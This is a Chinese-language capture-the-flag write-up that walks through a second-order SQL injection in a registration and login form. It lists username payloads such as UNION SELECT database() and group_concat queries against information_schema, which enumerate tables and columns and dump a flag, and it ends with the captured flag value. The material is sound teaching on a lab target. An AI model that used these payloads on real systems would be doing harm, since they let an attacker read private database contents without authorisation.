BUUCTF_October 2019 Twice SQL Injection

October 2019 Twice SQL Injection

参考:

buuctf XCTF October 2019 Twice SQL Injection 二次注入原理+题解_buuctf october 2019 twice sql injection-CSDN博客

场景:

image-20240216133954559

一个登录页面,跟之前一样,先走一遍网页全部的业务逻辑,再来寻找存在的漏洞。

注册一个账户:

image-20240216134117475

登录我们注册的账户:

image-20240216134717043

登录结果:

image-20240216134732502

随便写一下info的内容:

image-20240216134808298

响应结果:

image-20240216134829651

我们写入的内容被重新回显到了网页上,这里可能存在mysql的二次注入漏洞,先将我们的数据插入到mysql中,然后再取出来回显到网页上。

测试二次注入:

payload:

1
2
POST:
info=0'and'1

image-20240216135226796

响应结果:

image-20240216135346507

我们输入的字符串内容中的特殊字符被加入了\,这就导致我们普通的注入方式失效了,同时也可以确定,网页显示的Info的内容确实是从数据库中显示的,不然也不用担心我们使用单引号进行危险注入,直接前端显示就行了。

这里由于直接采用了\对特殊字符转义,所以就只能先放弃这个注入点了,根据网上的师傅的wp发现都是对用户名进行注入。

通过用户名注入达到二次注入的目的:

存在漏洞的sql语句:

1
2
3
4
username=south1'union select DATABASE()#
select info from test2 where username = 'south1'union select DATABASE()#' and password =123
没有对username进行过滤,直接拼接到sql中导致注入
当username=south1的记录不存在时,就只会回显database()的结果

image-20240216143523665

image-20240216143548066

所以将database()的值回显到info所在的网页位置上。

注册:

payload:

1
2
username=666'union select database()#
password=123

image-20240219003025465

该注册方式能够被成功注册,但是使用本地测试时,这是会导致报错的。

本地测试注册:

1
insert into test2 (username,password) VALUES('666'union select database()#','123') 

image-20240216143742997

但是网页能成功注册,就说明在注册界面中,对用户输入的内容进行了’\‘的转义,才能让该内容被成功插入数据库。

登录:

1
2
username=666'union select database()#
password=123

登录界面的sql语句猜测:

sql1:
1
2
3
select * from users where username='' and password=''
=>
select * from users where username='666'union select database()#' and password='123'

如果是该sql语句,那么select * from users where username=’666’回显的所有字段的数量就和select database()回显的字段数不同,从而导致报错(666用户不存在时):

image-20240216144539591

在理论上是会报错的无法运行的,但是当我们在登录界面输入我们的用户名和密码时,却成功登录并回显了database()的信息:

image-20240216144705561

得到数据库信息为:ctftraining,说明在登录界面上的sql语句应该为:

sql2:
1
2
3
select info from users where username='' and password=''
=>
select info from users where username='666'union select database()#' and password='123'

这样就可以使select info from users where username=’666’搜索的字段数量和select database()所回显的字段数一致,又因为666这个用户不存在,所以最终回显的为database()的信息:

image-20240216145111102

即使666用户不存在,但是由于整个拼接的sql语句回显了记录,所以在网页的内部判断中认为该用户是存在的,所以就可以成功登录了,又因为回显的记录值只有database()的信息,所以登录后网页回显的内容为数据库信息,同时也验证了在登录界面没有对用户输入的内容进行’\‘转义的处理。

假如666用户存在:

我们先注册一个666用户:

1
2
username=666
password=123

image-20240216145604894

登录:

image-20240216145635144

index界面:

image-20240216145656828

显示的内容为,正常用户登录后的结果,即默认显示的内容,默认可以是前端赋值,或者数据库默认存储再取出。

我们再用我们的payload登录:

1
2
username=666'union select database()#
password=123

image-20240216145914809

index界面:

image-20240216145952795

发现是登录666用户时的正常index页面回显结果。

使用本地测试:

image-20240216150050452

sql1:
1
select info from test2 where username='666'

image-20240216150145367

正常的登录情况的返回结果,虽然info没有值,但是666存在所以依然可以返回结果集,前端可以判断结果集info的值来确定是不是null从而赋值默认值。

sql2:
1
select info from test2 where username='666'union select DATABASE()#' and password =123

image-20240216150355179

这是我们进行恶意登录的情况,这次是由于666用户存在,所以第一条记录为null,不像之前666不存在时,直接第一条记录就是database(),前端依然可以通过只判断第一条记录是不是为null来决定是否赋值默认内容。

这也就是为什么我们注册666用户后,再用恶意payload登录时,回显的却是正常的用户登录结果。

明确了网页的漏洞后,我们就可以进行攻击了,本质就是常规的union注入配合二次注入

获取数据库表的信息:

payload:

1
2
3
4
username=xxx' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
password=123

这里的xxx一定要是不存在的用户

注册:

image-20240216151020825

登录:

image-20240216151214545

index界面:

image-20240216151228908

发现flag表

爆表的字段名:

payload:

1
2
username=xxx' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
password=123

image-20240216151405598

得到字段名为flag

爆字段信息:

payload:

1
2
username=xxx' union select group_concat(flag) from flag#
password=123

image-20240216151539104

flag=flag{47be8e14-bae6-4158-9c41-f92df44c27b2}


BUUCTF_October 2019 Twice SQL Injection
http://example.com/2024/02/19/2024-02-18-October 2019 Twice SQL Injection/
作者
South
发布于
2024年2月19日
许可协议